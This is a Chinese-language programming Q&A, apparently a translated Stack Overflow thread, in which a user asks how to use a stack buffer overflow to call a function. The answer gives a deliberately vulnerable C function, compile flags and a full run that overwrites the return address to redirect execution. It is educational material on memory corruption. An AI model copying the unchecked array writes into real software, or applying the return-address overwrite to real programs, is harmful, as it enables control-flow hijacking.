2014-09-29 14 views
-1

我有这块代码,显然包含缓冲区溢出,因为我可以输入超过4个值到数组a中。我想使用缓冲区溢出来调用一个函数。我知道这个函数的地址。我知道我需要覆盖函数返回地址,但我不知道如何实际执行此操作?另外,如果我设置n = 5并将5个值写入数组a,程序不会崩溃,即使只有内存分配了4个值。为什么会这样,我能做些什么来使程序崩溃?我使用的是旧版本的Ubuntu,它不检查缓冲区溢出。如何使用缓冲区溢出调用函数?

int a[4]; 
for (i = 0;i <n ;i++) 
printf ("\n a[%d] = %x, address = %x", i, a[i], &a[i]); 
printf("\nEnter %d HEX Values \n", n); 
for (i=0;i<n;i++) 
    scanf("%x",&a[i]); 
    printf("Done reading\n"); 
+0

目前尚不清楚你想要什么,为什么。 – 2014-09-29 19:51:04

+0

编写更多数据,它最终会以足够的数据崩溃。您需要覆盖堆栈中存储的返回值。 – m0skit0 2014-09-29 19:51:09

+0

您将需要更多信息(或在试验和错误期间耐心等待)才能成功利用此代码。至少,你需要整个函数的代码,并且知道体系结构,编译器和操作系统。 – 5gon12eder 2014-09-29 19:51:32

回答

0

下面是一个利用我的系统上工作(在x86_64 GNU/Linux的GCC)。请不要告诉我,你已经尝试过它,但它“没有工作” - 程序故意调用未定义的行为,而这本质上是不可移植的。 C标准中没有任何内容说编译器必须生成易于以便携方式利用的代码。

举一个完整的例子,我修改了一下代码。首先,一些标题:

#include <assert.h> 
#include <stdint.h> 
#include <stdio.h> 
#include <stdlib.h> 

这是我们希望利用这个漏洞的功能:

static int 
vulnerable(void) 
{ 
    uint64_t a[4]; 
    int n; 
    int i; 
    for (i = 0; i < 10; ++i) 
    printf("a[%d] = 0x%016lX\n", i, a[i]); 
    printf("Enter the number of values: "); 
    scanf("%d", &n); 
    for (i = 0; i < n; ++i) 
    { 
     printf("Enter value %d of %d: ", i, n); 
     uint64_t temp; 
     scanf("%lX", &temp); 
     if (temp) 
     a[i] = temp; 
    } 
    for (i = 0; i < 10; ++i) 
    printf("a[%d] = 0x%016lX\n", i, a[i]); 
    return n; 
} 

我已经修改了代码一点,这样它将只写非零值。这使得我们覆盖不想覆盖的东西的可能性更小。这当然是不必要的,因为在这种情况下,我们可以简单地输入我们知道已存储在地址中的值。

这里是我们想调用的函数:

static void 
target(void) 
{ 
    printf("Exploit succeeded!\n"); 
    exit(0); 
} 

为了避免阅读汇编或反编译的对象,我们将添加一些诊断输出到main功能。应该清楚的是,漏洞利用不依赖于此。

int 
main() 
{ 
    assert(sizeof(void *) == sizeof(uint64_t)); /* (1) */ 
    printf("%p return\n", (&&label));   /* (2) */ 
    printf("%p target\n", target);    /* (3) */ 
    vulnerable(); 
label: 
    return 0; 
} 

行(1)只是为了确保我们正在假设正确的地址大小。在第(2)行中,我们打印当vulnerable被调用时在栈上的返回地址。 (&&label语法是用于获取标签地址的GCC扩展。)第(3)行输出目标函数的地址。

我们不希望编译器做可能会破坏我们的漏洞,所以我们会禁用所有的优化和编译,如智能的东西:

 
$ gcc -O0 -o main main.c -static 

然后,当我们运行程序,它可能输出以下:

 
$ ./main 
0x400e44 return 
0x400dfb target 
a[0] = 0x0000000000000001 
a[1] = 0x0000000000000001 
a[2] = 0x00007FFF3E81E588 
a[3] = 0x00000000004014F7 
a[4] = 0x0000000000400290 
a[5] = 0x00000005006B4310 
a[6] = 0x00007FFF3E81E4A0 
a[7] = 0x0000000000400E44 
a[8] = 0x00000000006B4310 
a[9] = 0x0000000000401093 

我们迅速发现返回地址偏移量为7 我们不妨从认真阅读汇编代码获得同样的知识。知道什么是我们必须做的,我们喂计划用:

 
Enter the number of values: 8 
Enter value 0 of 8: 0 
Enter value 1 of 8: 0 
Enter value 2 of 8: 0 
Enter value 3 of 8: 0 
Enter value 4 of 8: 0 
Enter value 5 of 8: 0 
Enter value 6 of 8: 0 
Enter value 7 of 8: 0x400dfb 

以下输出告诉我们,我们已经成功地改写了返回地址和该漏洞确实成功了。

 
a[0] = 0x0000000000000001 
a[1] = 0x0000000000000001 
a[2] = 0x00007FFF3E81E588 
a[3] = 0x00000000004014F7 
a[4] = 0x0000000000400290 
a[5] = 0x00000005006B4310 
a[6] = 0x00007FFF3E81E4A0 
a[7] = 0x0000000000400DFB 
a[8] = 0x00000000006B4310 
a[9] = 0x0000000000401093 
Exploit succeeded!